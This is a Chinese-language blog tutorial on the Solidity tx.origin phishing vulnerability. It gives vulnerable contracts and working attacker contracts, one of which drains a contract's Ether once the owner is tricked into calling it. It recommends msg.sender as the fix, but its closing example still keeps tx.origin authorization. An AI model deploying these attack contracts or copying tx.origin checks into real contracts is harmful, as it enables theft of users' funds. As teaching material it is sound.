Solidity - 安全 - tx.origin

本文通过实例展示了在智能合约中使用tx.origin进行权限验证的风险,包括状态变量篡改和以太币盗窃。黑客可以诱使合约部署者调用恶意合约来绕过tx.origin的验证。解决方案是改用msg.sender进行身份验证,但当合约间调用时可能引发问题。文章提醒开发者注意合约安全,避免使用tx.origin。
摘要由CSDN通过智能技术生成

在官网中对tx.origin有一段描述:

Never use tx.origin for authorization.(永远不要使用tx.origin 做身份认证),即类似验证语句如 require(tx.origin == owner);

先举个简单例子

注:以下示例源码可参见:smartcontract/Security/TxOrigin at main · tracyzhang1998/smartcontract · GitHub

1、示例一 - 修改状态变量

示例源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

/// @dev 基础合约
contract BaseContract {
    address owner;
    string message;

    constructor() {
        owner = msg.sender;
    }

    function setMsg(string memory _message) external {
        require(tx.origin == owner, "No permission.");  // 使用tx.origin进行身份验证
        message = _message;
    }

    function getMsg() external view returns (string memory) {
        return message;
    }

    function getOwner() external view returns (address) {
        return owner;
    }
}

/// @dev 攻击合约(黑客编写)
contract Attack {
    BaseContract bc;

    constructor(BaseContract _bcAddr) {
        bc = BaseContract(_bcAddr);
    }

    function attack() external {
        bc.setMsg("The data is attacked.");
    }
}

示例测试

假设合约 BaseContract 是用户 Tracy 编写并已部署的合约,合约中的函数 setMsg 限制只能有部署合约的用户 Tracy 能够修改状态变量message的值。之后黑客用户 Timo 编写了一个攻击合约 Attack (暂时起名明显一些),Timo 通过一些手段骗 Tracy 调用了这个合约中的函数 attack, 此时通过合约 Attack 也修改了合约 BaseContract 中的状态变量message的值。 我们演示一下:

(1)Tracy 部署合约 BaseContract 并通过 setMsg函数 设置 message 的值

(2)黑客 Timo 部署合约 Attack

 (3)黑客 Timo 调用攻击合约 Attack 中的函数 attack

此时会发现,黑客 Timo 自己 调用攻击合约时并不起作用,受到验证限制。

(4)用户 Tracy 调用攻击攻击合约 Attack 中的函数 attack

黑客 Timo 使用一些手段骗取 用户 Tracy 调用攻击合约 Attack 中的函数 attack。

以上仅是一个修改状态值的例子,可能会觉得并没有多大影响,下面我们演示一下盗取以太的例子,这个可是真金白银了吧。

2、示例二 - 盗取以太

示例源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

/// @dev 基础合约
contract BaseContract {
    address owner;

    constructor() payable {
        owner = msg.sender;
    }

    function transfer(address payable _to, uint _amount) external {
        require(tx.origin == owner, "No permission.");  // 使用tx.origin进行身份验证
        payable(_to).transfer(_amount);
    }

    function getContractBalance() external view returns (uint) {
        return address(this).balance;
    }

    function getOwner() external view returns (address) {
        return owner;
    }
}

/// @dev 攻击合约(黑客编写)
contract Attack {
    address payable owner;
    BaseContract bc;

    constructor(BaseContract _bcAddr) {
        owner = payable(msg.sender);
        bc = BaseContract(_bcAddr);
    }

    function attack() external {
        bc.transfer(owner, address(bc).balance);
    }

    function getOwnerbalance() external view returns (uint) {
        return address(owner).balance;
    }
}

示例测试 

仍然假设合约 BaseContract 是用户 Tracy 编写并已部署的合约,合约中的函数 transfer 限制只能有部署合约的用户 Tracy 能够进行转账操作。之后黑客用户 Timo 编写了一个攻击合约 Attack (暂时起名明显一些),Timo 通过一些手段骗 Tracy 调用了这个合约中的函数 attack, 此时通过合约 Attack 调用合约 BaseContract 中的转账功能,将合约 BaseContract 账户余额全部转给了 Timo,这下是不是有些恐怖了。 与上面相同的步骤演示一下:

(1)Tracy 部署合约 BaseContract 同时向合约账户转账10Ether

(2)黑客 Timo 部署合约 Attack

(3)黑客 Timo 调用攻击合约 Attack 中的函数 attack

先查看下黑客 Timo 的 账户余额,然后黑客 Timo 自己调用函数 attack,此时会发现,调用攻击合约时并不起作用,受到合约 BaseContract 中 函数 transfer 的验证限制。

(4)用户 Tracy 调用攻击攻击合约 Attack 中的函数 attack 

黑客 Timo 使用一些手段骗取 用户 Tracy 调用攻击合约 Attack 中的函数 attack,合约 BaseContract 账户余额被转至黑客 Timo 账户中了,恐怖啦。

tx.origin 验证前提是黑客需要知道被攻击合约的部署人,当然也可以放长线钓鱼,就是不知道多久用户才会上钩。总之使用tx.origin验证身份是有风险的。

解决方案 

以上两个示例的解决方案都是一样的,即把验证身份的tx.origin改为msg.sender即可:

require(msg.sender == owner, "No permission.");

问题(未解决)

但是有个问题,如果一个合约 CallBaseContract 中的函数调用了基合约 BaseContract,并通过new 方式生成新的合约 BaseContract, 在合约 BaseContract 如果不使用 tx.origin 验证,而使用 msg.sender,msg.sender 值其实为 合约 CallBaseContract 的地址,这样不符合验证要求。先记录下,等待寻找解决方案。合约代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

/// @dev 基础合约
contract BaseContract {
    address owner;
    string message;

    constructor() {
        owner = tx.origin;
    }

    function setMsg(string memory _message) external {
        require(tx.origin == owner, "No permission.");
        message = _message;
    }

    function getMsg() external view returns (string memory) {
        return message;
    }

    function getOwner() external view returns (address) {
        return owner;
    }
}


/// @dev 调用合约 BaseContract
contract CallBaseContract {
    // 用户账户对应新的合约BaseContract的地址,即一个用户一个基合约地址
    mapping(address => address) userBaseContractAddr;

    function createUserBaseContract(string memory _message) external {
        require(getUserBaseContractAddr(msg.sender) == address(0), "The user already exists.");
        BaseContract bc = new BaseContract();
        userBaseContractAddr[msg.sender] = address(bc);
        BaseContract(address(bc)).setMsg(_message);
    }

    function getUserBaseContractAddr(address _addr) public view returns (address) {
        return userBaseContractAddr[_addr];
    }
}


/// @dev 攻击合约(黑客编写)
contract Attack {

    function attack(BaseContract _bcAddr) external {
        BaseContract bc = BaseContract(_bcAddr);
        bc.setMsg("I already have attacked.");
    }
}

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值